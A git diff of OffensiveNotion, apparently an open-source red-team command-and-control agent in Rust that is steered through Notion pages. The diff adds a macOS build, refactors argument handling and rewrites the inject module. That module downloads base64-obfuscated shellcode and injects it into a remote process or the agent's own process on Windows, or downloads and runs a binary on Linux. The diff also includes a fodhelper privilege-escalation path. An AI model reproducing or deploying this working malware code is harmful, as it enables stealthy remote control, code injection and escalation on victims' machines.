diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index 4afbf14..0a87783 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -2,9 +2,9 @@ name: Rust on: push: - branches: [ main ] + branches: [ main, dev ] pull_request: - branches: [ main ] + branches: [ main, dev ] env: CARGO_TERM_COLOR: always @@ -21,11 +21,36 @@ jobs: - name: Build working-directory: ./agent run: cargo build --release + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion - name: Upload artifact uses: actions/upload-artifact@v2 with: name: offensive_notion_linux_amd64 path: agent/target/release/offensive_notion + + build_mac: + + runs-on: macos-latest + + steps: + - uses: actions/checkout@v2 + - name: Update Rust + run: rustup update stable + - name: Add macOS Triple + run: rustup target add x86_64-pc-windows-gnu + - name: Set LitCrypt Key + run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" + - name: Build + working-directory: ./agent + run: cargo build --release --target x86_64-apple-darwin + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion + - name: Upload artifact + uses: actions/upload-artifact@v2 + with: + name: offensive_notion_darwin_amd64 + path: agent/target/x86_64-apple-darwin/release/offensive_notion build_windows: @@ -42,6 +67,8 @@ jobs: - name: Build working-directory: ./agent run: cargo build --release --target x86_64-pc-windows-gnu + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion - name: Upload artifact uses: actions/upload-artifact@v2 with: diff --git a/.gitignore b/.gitignore index 68c1b98..dd903db 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,9 @@ bin/windows_debug/* agent/src/config.rs.bak Dockerfile.bak utils/www/* +offensive_notion +offensive_notion.exe + # Excluding for experimentation agent/src/config.rs diff --git a/Dockerfile b/Dockerfile index e94f3fb..5b1d8ae 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,12 +1,47 @@ -FROM rust:latest +FROM rust:latest AS rustbuilder -RUN apt update -y && apt install mingw-w64 -y +# Do the Rust setup, but do it just the once and separate the ON stuff -RUN mkdir /opt/OffensiveNotion -WORKDIR /opt/OffensiveNotion -COPY agent/ . +RUN echo "Installing dependencies" +RUN apt update +RUN apt install -y \ + mingw-w64 \ + gcc-multilib \ + python3-pip \ + cmake \ + clang \ + gcc \ + g++ \ + zlib1g-dev \ + libmpc-dev \ + libmpfr-dev \ + libgmp-dev -RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu +RUN rustup toolchain install nightly +RUN rustup default nightly +RUN rustup target add x86_64-pc-windows-gnu +RUN rustup target add x86_64-apple-darwin -# This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS -RUN cargo build {OS} {RELEASE} + +# Now we get to work +# FROM ubuntu:latest as onbuilder + +RUN mkdir /OffensiveNotion +RUN mkdir /OffensiveNotion/agent +RUN mkdir /OffensiveNotion/agent/src +RUN mkdir /OffensiveNotion/agent/target +RUN mkdir /out +# We're going to be more explicit about this copy over to save space in the image +# Also, a fun hack to get the config.json if it exists, but copy the rest regardless +COPY ./main.py ./requirements.txt config.jso[n] /OffensiveNotion/ +COPY ./utils /OffensiveNotion/utils +COPY ./agent/Cargo.toml ./agent/build.rs ./agent/offensive_notion.rc ./agent/notion.ico /OffensiveNotion/agent/ +COPY ./agent/src/ /OffensiveNotion/agent/src/ + +WORKDIR /OffensiveNotion + +# MacOS install. If not building a macOS agent, feel free to comment this RUN command out. +RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!" + +RUN pip3 install -r requirements.txt +ENTRYPOINT ["/usr/bin/python3", "main.py"] \ No newline at end of file diff --git a/README.md b/README.md index c64490e..6af7a16 100755 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ A collaboration by: [Documentation][wiki]   |   [Pull Requests][pr]   |   [Issues][issues] -![Release][release] ![GitHub last commit][lastcommit] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license] +![Release][release] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license] @@ -34,9 +34,11 @@ Here's our blog post about it: [We Put A C2 In Your Notetaking App: OffensiveNot ## Features * πŸ“‘ A full-featured C2 platform built on the Notion notetaking app. * 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy! -* πŸ–₯️ Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base. +* πŸ–₯️ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process. * ☒️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page! * πŸ“œ Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation. +* 🀝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver! +* πŸ“±Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world. * πŸ•΅οΈβ€β™€οΈ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose. ## Quickstart @@ -44,91 +46,6 @@ See the [Quickstart guide](https://github.com/mttaggart/OffensiveNotion/wiki/2.- ## Documentation Please see the [Wiki][wiki] for setup, usage, commands, and more! - -## v1.0.0 - "Iron Age" -### MUST - -
- Done - - ### Documentation -- [x] Quickstart -- [x] Install -- [x] Agent interaction - - [x] Commands - - [x] Linux commands - - [x] Windows commands - -#### Misc -- [x] YARA Rules -#### Setup -- [x] Python Setup Script for config options -- [x] Dynamic Docker container spin up/tear down for agent generation -- [x] Parse args for Docker build options - -#### Agent -- Commands: - - [x] `shell` - - [x] `cd` - - [x] `download` - - [x] `ps` - - [x] `pwd` - - [x] `save` - - [x] `shutdown` - - [x] `sleep [#]` to adjust callback - -
- -### SHOULD - -
- Done - -#### Agent -- [x] Jitter interval for callback time -- Commands: - - [x] `getprivs` - - [x] `sleep [#][%]` to adjust callback and jitter - - [x] `portscan` -- [x] Linux `elevate sudo` -- [x] Windows `elevate fodhelper` -- [x] Linux `persist bashrc` -- [x] Linux `persist cron` -- [x] Linux `persist service` -- [x] Windows `inject` -- [x] Windows `persist startup` -- [x] Windows `persist registry` - -- Persist: - - [x] Windows `persist schtasks` - - [x] (Bonus) `wmic` - -
- -### COULD - -
- Done - -- [x] Compiles with Notion icon -- [x] Mirror the notion.ico file 😈 (slightly red tint to logo) -- [x] "Web delivery" via Flask and one-liner for remote download/exec (https://www.offensive-security.com/metasploit-unleashed/web-delivery/) -- [x] Agent checks in by POSTing hostname and username to page title with asterisk if in an admin context (getprivs at checkin) -- [x] Agent can spawn in kiosk mode Notion.so page at startup - -
- -
- For Next Release - - - [ ] Linux `persist rc.local` - - [ ] Linux `inject` (more of a shellcode runner than injection) - - [ ] Windows `runas` (SCshell) - - [ ] Windows `inject-assembly` (⚠️ large lift ⚠️) - - [ ] (Bonus) Windows `persist comhijack` - - [ ] (Bonus) Windows `persist xll` - -
## Thanks & Acknowledgements diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 6d7e783..aa89438 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -282,6 +282,15 @@ dependencies = [ "libc", ] +[[package]] +name = "houdini" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a21c047df31ebe5936e1a8f8a1fd1020933fca89909625c481b651273b97eef" +dependencies = [ + "winapi 0.3.9", +] + [[package]] name = "http" version = "0.2.6" @@ -578,11 +587,12 @@ dependencies = [ [[package]] name = "offensive_notion" -version = "1.0.0" +version = "1.1.0" dependencies = [ "base64", "cidr-utils", "embed-resource", + "houdini", "is-root", "kernel32-sys", "libc", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index 9bffe15..121f0aa 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "offensive_notion" -version = "1.0.0" +version = "1.1.0" edition = "2021" build = "build.rs" @@ -12,7 +12,6 @@ reqwest = { version = "0.11", features = ["json"] } tokio = { version = "1", features = ["full"] } serde = { version = "1.0.136", features=["derive"] } serde_json = "1.0" -winapi = "0.3.8" libc = "0.2.66" sysinfo = "0.23.0" whoami = "1.2.1" @@ -26,8 +25,9 @@ embed-resource = "1.6" [target.'cfg(windows)'.dependencies] kernel32-sys = "0.2.2" -winapi = { version = "0.3", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } +winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } winreg = "0.10" +houdini = "1.0.2" [profile.dev] opt-level = 0 diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index a5500d2..d3d136a 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -1,14 +1,16 @@ use std::error::Error; use std::path::Path; use std::env::set_current_dir; +use crate::cmd::{CommandArgs, notion_out}; /// Changes the directory using system tools /// Rather than the shell -pub fn handle(s: &String) -> Result> { - let new_path = Path::new(s.trim()); +pub fn handle(cmd_args: &mut CommandArgs) -> Result> { + let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string()); + let new_path = Path::new(&path_arg); match set_current_dir(new_path) { - Ok(_) => Ok(format!("Changed to {s}").to_string()), - Err(e) => Ok(e.to_string()) + Ok(_) => notion_out!("Changed to {path_arg}"), + Err(e) => Ok(format!("{e}")) } } diff --git a/agent/src/cmd/download.rs b/agent/src/cmd/download.rs index 4c41bc8..c4fc8d5 100755 --- a/agent/src/cmd/download.rs +++ b/agent/src/cmd/download.rs @@ -2,31 +2,30 @@ use std::error::Error; use std::io::copy; use reqwest::Client; use std::fs::File; -use crate::logger::Logger; +use crate::cmd::{CommandArgs, notion_out}; +use crate::logger::{Logger, log_out}; /// Downloads a file to the local system. /// /// Usage: `download [url] [path]`. /// /// Defaults the the end of the URL without path option -pub async fn handle(s: &String, logger: &Logger) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { let client = Client::new(); - // Get args - let mut args = s.trim().split(" "); // Get URL as the first arg - let url = args.nth(0).unwrap_or_else(|| ""); + let url: String = cmd_args.nth(0).unwrap_or_else(|| "".to_string()); // Get path as the 2nd arg or the last part of the URL - let path = args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap()); + let path: String = cmd_args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap().to_string()); logger.debug(format!("Downloading from {url} to {path}")); let r = client.get(url).send().await?; if r.status().is_success() { - if let Ok(mut out_file) = File::create(path) { + if let Ok(mut out_file) = File::create(&path) { match copy(&mut r.bytes().await?.as_ref(), &mut out_file) { - Ok(b) => { return Ok(format!("{b} bytes written to {path}").to_string());}, - Err(_) => { return Ok("Could not write file".to_string()); } + Ok(b) => { return Ok(format!("{b} bytes written to {path}"));}, + Err(_) => { return notion_out!("Could not write file"); } } } else { - return Ok("Could not write file".to_string()); + return notion_out!("Could not write file"); } } Ok(r.text().await?) diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index a9f1ee6..3d32da0 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -2,6 +2,7 @@ use std::error::Error; use sysinfo::{System, SystemExt, UserExt}; use whoami::username; use crate::config::ConfigOptions; +use crate::cmd::{CommandArgs, notion_out}; use std::env::args; use std::process::Command; #[cfg(windows)] use std::env::{var}; @@ -16,6 +17,8 @@ use std::process::Command; /// /// Ain't perfect, but it's a start. pub fn can_elevate() -> bool { + // Get username and match it against list of users that has data + // Uses group membership to determine elevation capabilities let s = System::new_all(); let username = username(); let user = s.users() @@ -23,12 +26,13 @@ pub fn can_elevate() -> bool { .filter(|&u| u.name() == username ) .nth(0) .unwrap(); - #[cfg(not(windows))] { - // Get username and match it against list of users that has data - // Uses group membership to determine elevation capabilities + + #[cfg(target_os = "linux")] { return user.groups().contains(&"sudo".to_string()); } - + #[cfg(target_os = "macos")] { + return user.groups().contains(&"admin".to_string()); + } #[cfg(windows)] { user.groups() .into_iter() @@ -45,16 +49,15 @@ pub fn can_elevate() -> bool { /// /// Because we can't wait for the output of the child process, /// we toss the handle. -pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { if can_elevate() { - let mut elevate_args = s.split(" "); #[cfg(not(windows))] { - match elevate_args.nth(0).unwrap().trim() { + match cmd_args.nth(0).unwrap().as_str() { "sudo" => { - let pwd = elevate_args.nth(0).unwrap(); + let pwd = cmd_args.nth(0).unwrap(); // Check for empty pw if pwd.is_empty() { - return Ok("Need a sudo password!".to_string()); + return notion_out!("Need a sudo password!"); } let encoded_config = config_options.to_base64(); let agent_path = args().nth(0).unwrap(); @@ -63,14 +66,14 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result Ok("Unknown elevation method".to_string()) + _ => notion_out!("Unknown elevation method") } } #[cfg(windows)] { - match elevate_args.nth(0).unwrap().trim() { + match cmd_args.nth(0).unwrap().as_str() { "fodhelper" => { if let Ok(v) = var("APPDATA") { let mut persist_path: String = v; @@ -104,24 +107,24 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result { return Ok(e.to_string())} } } else { - Ok("Couldn't get APPDATA location".to_string()) + notion_out!("Couldn't get APPDATA location") } } _ => { - Ok("Elevation unavailable".to_string()) + notion_out!("Elevation unavailable") } } } } else { - Ok("Elevation unavailable".to_string()) + notion_out!("Elevation unavailable") } } \ No newline at end of file diff --git a/agent/src/cmd/getprivs.rs b/agent/src/cmd/getprivs.rs index b099034..4040a36 100755 --- a/agent/src/cmd/getprivs.rs +++ b/agent/src/cmd/getprivs.rs @@ -1,5 +1,6 @@ use std::error::Error; use is_root::is_root; +use crate::cmd::notion_out; #[cfg(windows)] use std::ptr::null_mut; #[cfg(windows)] use winapi::um::handleapi::CloseHandle; @@ -53,6 +54,6 @@ pub async fn handle() -> Result> { // TODO: Implement Linux check let is_admin = is_elevated(); println!("{}", is_admin); - Ok(String::from(format!("Admin Context: {is_admin}").to_string())) + Ok(format!("Admin Context: {is_admin}")) } \ No newline at end of file diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 7df7564..d1d94a4 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -1,11 +1,120 @@ use std::error::Error; use crate::logger::Logger; -#[cfg(windows)] use base64::decode as b64_decode; +use crate::cmd::{CommandArgs, notion_out}; + +use base64::decode as b64_decode; #[cfg(windows)] extern crate winapi; #[cfg(windows)] extern crate kernel32; -#[cfg(windows)] use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; +#[cfg(windows)] use winapi::um::winnt::{ + PROCESS_ALL_ACCESS, + MEM_COMMIT, + MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + PAGE_EXECUTE_READ, + PAGE_READWRITE, + PVOID +}; +#[cfg(windows)] use winapi::um::{ + //errhandlingapi, + processthreadsapi, + winbase, + synchapi::WaitForSingleObject +}; #[cfg(windows)] use std::ptr; -#[cfg(windows)] use reqwest::Client; +use reqwest::Client; + +async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { + logger.debug("Starting shellcode debug".to_string()); + let mut shellcode_vec = Vec::from(sc.trim().as_bytes()); + for i in 0..b64_iterations { + logger.debug(format!("Decode iteration: {i}")); + match b64_decode(shellcode_vec) { + Ok(d) => { + shellcode_vec = d + .into_iter() + .filter(|&b| b != 0x0a) + .collect(); + }, + Err(e) => { + let err_msg = e.to_string(); + logger.err(format!("{}", err_msg.to_owned())); + return Err("Could not decode shellcode"); + } + }; + } + Ok(shellcode_vec) +} + + +/// Handles the retrieval and deobfuscation of shellcode from a url. + +async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { + // Download shellcode, or try to + let client = Client::new(); + if let Ok(r) = client.get(url).send().await { + if r.status().is_success() { + logger.info(format!("Downloaded shellcode")); + // Get the shellcode. Now we have to decode it + let shellcode_decoded: Vec; + let shellcode_final_vec: Vec; + if let Ok(sc) = r.text().await { + logger.info(format!("Got encoded bytes")); + logger.debug(format!("Encoded shellcode length: {}", sc.len())); + match decode_shellcode(sc, b64_iterations, logger).await { + Ok(scd) => { shellcode_decoded = scd; }, + Err(e) => { return Err(e); } + }; + + + #[cfg(windows)] { + // Convert bytes to our proper string + // This only happens on Windows + let shellcode_string: String; + if let Ok(s) = String::from_utf8(shellcode_decoded) { + shellcode_string = s; + } else { + let err_msg = "Could not convert shellcode bytes to string"; + logger.err(err_msg.to_string()); + return Err("Could not convert shellcode bytes to string"); + } + // At this point, we have the comma-separated "0xNN" form of the shellcode. + // We need to get each one until a proper u8. + // Now, keep in mind we only do this for Windows, because we pretty much only make raw byes, + // Not '0x' strings for Linux. + shellcode_final_vec = shellcode_string + .split(",") + .map(|s| s.replace("0x", "")) + .map(|s| s.replace(" ", "")) + .map(|s|{ + match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0 + } + }) + .collect(); + } + + #[cfg(not(windows))] { + shellcode_final_vec = shellcode_decoded; + } + + // The actual success + return Ok(shellcode_final_vec); + + } else { + let err_msg = "Could not decode shellcode"; + logger.err(err_msg.to_string()); + return Err(err_msg); + } + + } else { + return Err("Could not download shellcode"); + } + + } else { + return Err("Could not download shellcode"); + } +} /// Shellcode-based attacks for further compromise. /// @@ -19,130 +128,251 @@ use crate::logger::Logger; /// This has proven effective in initial evasion. /// /// ### Examples -/// Usage: `inject [shellcode_url] [pid] [b64_iterations] 🎯` +/// Usage: `inject [shellcode_method] [shellcode_url] [b64_iterations] [[pid]] 🎯` /// /// On Linux, the payload will be downloaded and executed like a regular dropper. -pub async fn handle(base64_string: &String, logger: &Logger) -> Result> { - #[cfg(windows)] { - // Input: url to shellcode -p pid - let mut args = base64_string.split(" "); - +#[cfg(windows)] +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { + + if let Some(inject_type) = cmd_args.nth(0) { + // Set up our variables; each one could fail on us. // Yes this is a lot of verbose error checking, but this // has to be rock solid or the agent will die. - let mut url: &str; - let mut pid: u32; + let mut url: String; let mut b64_iterations: u32; // Get URL - match args.nth(0) { + match cmd_args.nth(0) { Some(u) => { logger.debug(format!("Shellcode URL: {}", &u)); url = u; }, - None => { return Ok("Could not parse URL".to_string()); } - }; - - // Get pid - match args.nth(0) { - Some(ps) => { - if let Ok(p) = ps.parse::() { - logger.debug(format!("Injecting into PID: {:?}", &p)); - pid = p; - } else { - let err_msg = "Could not parse PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } - }, - None => { - let err_msg = "Could not extract PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } + None => { return notion_out!("Could not parse URL"); } }; // Get b64_iterations - match args.nth(0) { + match cmd_args.nth(0) { Some(bs) => { if let Ok(b) = bs.parse::() { b64_iterations = b; } else { - return Ok("Could not parse b64 iterations".to_string()); + return notion_out!("Could not parse b64 iterations"); } }, - None => { return Ok("Could not extract b64 iterations".to_string()); } + None => { return notion_out!("Could not extract b64 iterations"); } }; - logger.debug(format!("Injecting into PID {:?}", pid)); - let client = Client::new(); - if let Ok(r) = client.get(url).send().await { - if r.status().is_success() { - logger.info(format!("Got the shellcode")); - // Get the shellcode. Now we have to decode it - let mut shellcode_encoded: Vec; - let mut shellcode_string: String; - let mut shellcode: Vec; - if let Ok(sc) = r.text().await { - shellcode_encoded = Vec::from(sc.trim().as_bytes()); - logger.info(format!("Got encoded bytes")); - for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); - match b64_decode(shellcode_encoded) { - Ok(d) => { - shellcode_encoded = d - .into_iter() - .filter(|&b| b != 0x0a) - .collect(); - }, - Err(e) => { return Ok(e.to_string()); } - }; - - } - // Convert bytes to our proper string - shellcode_string = String::from_utf8(shellcode_encoded)?; - // At this point, we have the comma-separated "0xNN" form of the shellcode. - // We need to get each one until a proper u8. - shellcode = shellcode_string - .split(",") - .map(|s| s.replace("0x", "")) - .map(|s| s.replace(" ", "")) - .map(|s|{ - match u8::from_str_radix(&s, 16) { - Ok(b) => b, - Err(_) => 0 + // CALL get_shellcode + + match inject_type.as_str() { + "remote" => { + // Get shellcode + let mut shellcode: Vec; + match get_shellcode(url, b64_iterations, logger).await { + Ok(s) => { shellcode = s}, + Err(e) => { return Ok(e.to_string()); } + }; + let mut pid: u32; + // Get pid + match cmd_args.nth(0) { + Some(ps) => { + if let Ok(p) = ps.parse::() { + logger.debug(format!("Injecting into PID: {:?}", &p)); + pid = p; + // Big thanks to trickster0 + // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread + unsafe { + let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); + let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); + let mut n = 0; + kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); + let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); + kernel32::CloseHandle(h); } - }) - .collect(); - - } else { - let err_msg = "Could not decode shellcode"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } - - - // Big thanks to trickster0 - // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread + return notion_out!("Injection completed!"); + } else { + let err_msg = "Could not parse PID"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + }, + None => { + let err_msg = "Could not extract PID"; + logger.err(err_msg.to_string()); + return Ok(err_msg.to_string()); + } + }; + }, + "self" => { + type DWORD = u32; + + // Get shellcode + let mut shellcode: Vec; + match get_shellcode(url, b64_iterations, logger).await { + Ok(s) => { shellcode = s}, + Err(e) => { return Ok(e.to_string()) } + }; + + logger.debug(format!("Injecting into current process...")); unsafe { - let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); - let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); - let mut n = 0; - kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); - let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); - kernel32::CloseHandle(h); + let base_addr = kernel32::VirtualAlloc( + ptr::null_mut(), + shellcode.len().try_into().unwrap(), + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ); + + if base_addr.is_null() { + logger.err("Couldn't allocate memory to current proc.".to_string()) + } else { + logger.debug("Allocated memory to current proc.".to_string()); + } + + // copy shellcode into mem + logger.debug("Copying Shellcode to address in current proc.".to_string()); + std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); + logger.debug("Copied...".to_string()); + + // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` + logger.debug("Changing mem protections to RX...".to_string()); + + let mut old_protect: DWORD = PAGE_READWRITE; + + let mem_protect = kernel32::VirtualProtect( + base_addr, + shellcode.len() as u64, + PAGE_EXECUTE_READ, + &mut old_protect, + ); + + if mem_protect == 0 { + //let error = errhandlingapi::GetLastError(); + return Ok(format!("Error during injection")); + } + + // Call CreateThread + logger.debug("Calling CreateThread...".to_string()); + + let mut tid = 0; + let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; + + let h_thread = processthreadsapi::CreateThread( + ptr::null_mut(), + 0, + Some(ep), + ptr::null_mut(), + 0, + &mut tid, + ); + + if h_thread.is_null() { + //let error = unsafe { errhandlingapi::GetLastError() }; + logger.err(format!("Error during inject.")); + } else { + logger.info(format!("Thread Id: {tid}")); + } + + // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running + // I do not know if this will have side effects, but if you omit the WaitForSingleObject call, the ON agent can continue to function after the thread injection takes place. + + //logger.debug("Calling WaitForSingleObject...".to_string()); + + //let status = WaitForSingleObject(h_thread, winbase::INFINITE); + //if status == 0 { + // logger.info("Good!".to_string()) + //} else { + // let error = errhandlingapi::GetLastError(); + // logger.err(format!("{error}")); + //} } - return Ok("Injection completed!".to_string()); - } else { - return Ok("Could not download shellcode".to_string()); - } - } else { - return Ok(format!("Could not download from {url}")); + return notion_out!("Injection completed!"); + + }, + _ => notion_out!("Unknown injection type!") } + + } else { + return notion_out!("Could not parse URL"); } - #[cfg(not(windows))] { - Ok("Can only inject shellcode on Windows!".to_string()) + +} + +#[cfg(unix)] +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { + + if let Some(inject_type) = cmd_args.nth(0) { + + // Set up our variables; each one could fail on us. + // Yes this is a lot of verbose error checking, but this + // has to be rock solid or the agent will die. + let url: String; + + match inject_type.as_str() { + "dropper" => { + // Usage: inject dropper [url] [filename] + // Get URL + use crate::cmd::download; + use std::os::unix::fs::PermissionsExt; + let filename: String; + use std::process::Command; + + match cmd_args.nth(0) { + Some(u) => { + logger.debug(format!("Shellcode URL: {u}")); + url = u; + }, + None => { return notion_out!("Could not parse URL"); } + }; + + // Get filename + match cmd_args.nth(0) { + Some(f) => { + logger.debug(format!("Filename: {f}")); + filename = f; + }, + None => { return notion_out!("Could not parse filename"); } + }; + + let mut download_args = CommandArgs::from_string( + format!("{url} {filename}") + ); + download::handle(&mut download_args, logger).await?; + match std::fs::File::open(&filename) { + Ok(f) => { + f.set_permissions(PermissionsExt::from_mode(0o755))?; + }, + Err(e) => { return Ok(e.to_string()); } + }; + + let mut cmd_string = String::new(); + + // Basically, if it's not a proper path, add ./ + if !cmd_string.contains("/") { + cmd_string.push_str("./"); + } + + cmd_string.push_str(filename.as_str()); + + // Fire off the command + Command::new("/bin/bash") + .arg("-c") + .arg(cmd_string) + .spawn()?; + + notion_out!("Dropper completed!") + } + _ => { return notion_out!("Unknown injection method!") ;} + } + + } else { + return notion_out!("No injection type provided!"); } +} + +#[cfg(macos)] +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { + notion_out!("Inject not available on macOS!") } \ No newline at end of file diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index c6107cc..a4f6071 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -1,6 +1,8 @@ // Standard Library Imports use std::error::Error; +use std::iter::Iterator; use std::result::Result; +use core::str::Split; use std::fmt; // Local imports use crate::config::ConfigOptions; @@ -22,31 +24,46 @@ mod sleep; mod shutdown; mod whoami; mod unknown; +mod selfdestruct; + + +macro_rules! notion_out { + ($s:literal) => { + Ok(format!($s)) + }; + ($s:literal, $e:ident) => { + Ok(format!($s, $e)) + } + +} +pub(crate) use notion_out; /// All the possible command types. Some have command strings, and some don't. pub enum CommandType { - Cd(String), - Download(String), - Elevate(String), + Cd, + Download, + Elevate, Getprivs, - Inject(String), - Portscan(String), - Persist(String), + Inject, + Portscan, + Persist, Ps, Pwd, - Save(String), - Runas(String), - Shell(String), + Save, + Selfdestruct, + Runas, + Shell, Shutdown, - Sleep(String), + Sleep, Whoami, - Unknown(String) + Unknown } /// Simple errors for the construction of a NotionCommand. /// Returned if construction fails. #[derive(Debug)] pub struct CommandError(String); +impl Error for CommandError {} impl fmt::Display for CommandError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { @@ -54,11 +71,79 @@ impl fmt::Display for CommandError { } } -impl Error for CommandError {} +/// A custom struct for our command arguments +/// This allow easier passing and safety for them. +/// +/// As an `Iterator`, `CommandArgs` and be unwrapped with default +/// values as a safety for missing or malformed args. +#[derive(Debug)] +pub struct CommandArgs { + items: Vec, + count: usize +} + + +impl CommandArgs { + + /// Default constructor for `CommandArgs`. + /// + /// Handy to have in modules that use other modules as + /// part of their operation. + pub fn new(args: Vec ) -> CommandArgs { + CommandArgs { items: args, count: 0 } + } + + /// This is the constructor we use to build `CommandArgs` from + /// the incoming `Split<&str>`. It might seem goofy, but + /// it's a clean way to get the first arg and then build our + /// `CommandArgs`. + pub fn from_split(args_split: Split<&str> ) -> CommandArgs { + let items: Vec = args_split + .map(|a| a.trim().to_string()) + .collect(); + CommandArgs { items: items, count: 0 } + } + + pub fn from_string(args_string: String) -> CommandArgs { + let items: Vec = args_string + .split(" ") + .map(|s| s.trim().to_string()) + .collect(); + + CommandArgs { items: items, count: 0 } + } + + /// Converts the args into a space-separated string. + /// + /// Real handy for shell commands. + pub fn to_string(&self) -> String { + self.items + .as_slice() + .join(" ") + .trim() + .to_string() + } +} + +impl Iterator for CommandArgs { + type Item = String; + + fn next(&mut self) -> Option { + + if self.items.len() > self.count { + self.count += 1; + Some(self.items[self.count - 1].to_string()) + } else { + None + } + } +} + /// The command itself, containing the `CommandType` enum pub struct NotionCommand { pub command_type: CommandType, + pub args: CommandArgs } impl NotionCommand { @@ -70,54 +155,54 @@ impl NotionCommand { // The call to this function clears the target emoji // TODO: Maybe do that here? if let Some(t) = command_words.nth(0) { - let command_string = String::from( - command_words.collect::>() - .as_slice() - .join::<&str>(" ") - ); + 